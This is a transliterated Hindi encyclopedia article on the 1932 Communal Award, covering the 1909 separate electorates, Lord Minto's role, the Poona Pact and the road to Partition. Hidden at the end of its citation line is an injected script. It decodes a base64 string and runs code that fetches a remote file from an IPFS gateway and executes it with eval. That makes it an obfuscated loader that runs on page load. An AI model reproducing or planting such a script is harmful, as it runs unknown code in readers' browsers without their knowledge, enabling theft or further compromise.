साम्प्रदायिक निर्णय
sampradayik nirnay 4 agast, 1932 ee. ko british pradhanamantri remje mekadonald ke dvara diya gaya tha. isi nirnay ke adhar par naya bharatiy shasan-vidhan banane vala tha, jis par us samay landan mean golamej sammelan mean vichar-vimarsh chal raha tha aur jo bad mean 1935 ee. mean pas hua. sampradayik nirnay 1909 ee. ke bharatiy shasan-vidhan mean nihit sampradayik pratinidhitv ke siddhant par adharit tha. 1906 ee. mean jab yah spasht ho gaya ki desh ke prashasan mean bharatiyoan ko adhik pratinidhitv dene ke lie prachalit shasan-vidhan mean shighr sanshodhan kiya jaega, tab bharat sthit kuchh aangrez adhikariyoan ne vaisaray lard minto dvitiy ki sath-gaanth se musalamanoan ko prerit kiya ki ve 'hij haeenes' sar aga khaan ke netritv mean ek pratinidhimandal vaisaray ke pas le jaean.
lard minto dvitiy ki chal
is pratinidhimandal ne vaisaray se anurodh kiya ki musalamanoan ke hitoan ki raksha aur unake samuchit pratinidhitv ke lie unake vaste khasataur se alag nirvachan kshetr banaye jaean. in logoan ne apani maang ka karan yah bataya ki bharat mean adhikatar musalaman bahut zyada garib haian, jisaki vajah se ve sampatti sambandhi arhataoan ke adhar par taiyar ki gee matadata soochi mean paryapt pratinidhitv nahian pa sakeange. vaisaray minto bharat mean, khasakar bangal mean badhati huee rashtriyata ki lahar ko dabane ke lie koee n koee upay khoj raha tha. usane socha hindoo aur musalamanoan mean phoot paida kar dena sarakar ke lie labhadayak hoga. isi niyat se lard minto dvitiy ki sarakar ne musalamanoan ki maang phauran mal li aur 1909 ee. ke bharatiy shasan-vidhan mean 'impiriyal lejisletiv kauansil' ke nirvachan ke lie chhah vishesh muslim zamiandar nirvachan kshetroan ki vyavastha ki. prantoan ke lie bhi isi tarah alag nirvachan kshetr banaye ge.
sampradayik pratinidhitv ki maang
aangrezoan ka yah qadam shadyantr se bhara hua tha aur ise thik hi 'pakistan ka bijarop d' kaha gaya hai. aangrezoan ka gupt samarthan pakar musalamanoan ki prithakh sampradayik pratinidhitv ki maang ane vale varshoan mean zor pak dati gee aur ise svikar kar liya gaya. tisare dashak mean bharatiy shasan-vidhan mean jab sanshodhan kiye jane vale the, sampradayikata ke adhar par vishesh pratinidhitv dene ki maang n keval musalamanoan varanh sikkh, eesaee, jain, parasi aur janajatiyoan ki taraf se bhi uthaee gee. bharatiyoan ki ekata ko nasht karane vali yah phoot us samay samane a gee thi, lekin bharatiy apas mean koee samajhauta n kar sake.
raimaje maikadonald ka nirnay
landan mean is prashn par vichar karane ke lie lagatar tin golamej sammelan hue, jinaka koee natija nahian nikala. aisi sthiti mean briten ke pradhanamantri raimaje maikadonald ko 'phoot dalo aur shasan karo' ke siddhant ko karyaroop mean parinat karane ka uttam avasar prapt ho gaya. usane 4 agast, 1932 ee. ko 'sampradayik nirnay' ghoshit kiya. yah panch-faisala nahian, bharatiy janata par thopa gaya adesh tha, kyoanki kaangres ne isake lie kabhi maang nahian ki thi. is nirnay mean bharatiyoan mean n keval dharm, varanh jati ke adhar par bhi vibhajan ko manyata di gee aur hinduoan ke dalit vargoan ko bhi prithakh pratinidhitv pradan kiya gaya. yah vyavastha atyant shararatapoorn thi, kyoanki isaka uddeshy hinduoan ko hamesha ke lie do tuk doan mean baant dena tha.
pramukh pravadhan
sampradayik nirnay ke pramukh pravadhan is prakar the-
- prantiy vyavasthapika sabhaoan ki sadasy sankhya ko do guna karane ki yojana.
- musalaman, sikkhoan evan bharatiy eesaiyoan ke sath harijanoan ke lie bhi hinduoan se alag nirvachan tatha pratinidhitv ki vyavastha.
- bharatiy rashtriy andolan ko kamazor karane ke uddeshy se hi british sarakar ne harijanoan ko hinduoan se prithakh nirvachan ka adhikar pradan kiya.
bharat ka vibhajan
mahatma gaandhi ne is nirnay ke viruddh jab amaran anashan kiya, tab 24 sitambar, 1932 ee. ko poona paikt (samajhauta) ke dvara usamean sanshodhan kiya gaya. isake anusar dalit vargoan ko hinduoan ka abhinn aang mana gaya, lekin phir bhi desh ke vidhanamandaloan mean unhean samany tatha vishisht donoan prakar ka pratinidhitv pradan kiya gaya. sampradayik nirnay ne jahaan vibhinn rajy vidhanamandaloan mean dalit vargoan ke lie 73 sitean avantit ki, vahian poona mean paikt ne unhean kendriy vidhanamandal mean 148 vishisht sitean aur 18 pratishat samany sitean avantit kian. musalamanoan ki sitean aparivartit rahian. is prakar bharatiy nishchit roop se do samudayoan mean bant gaye aur usaka parinam aantat: yah nikala ki 1947 ee. mean bharat ka vibhajan karana p da.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 468.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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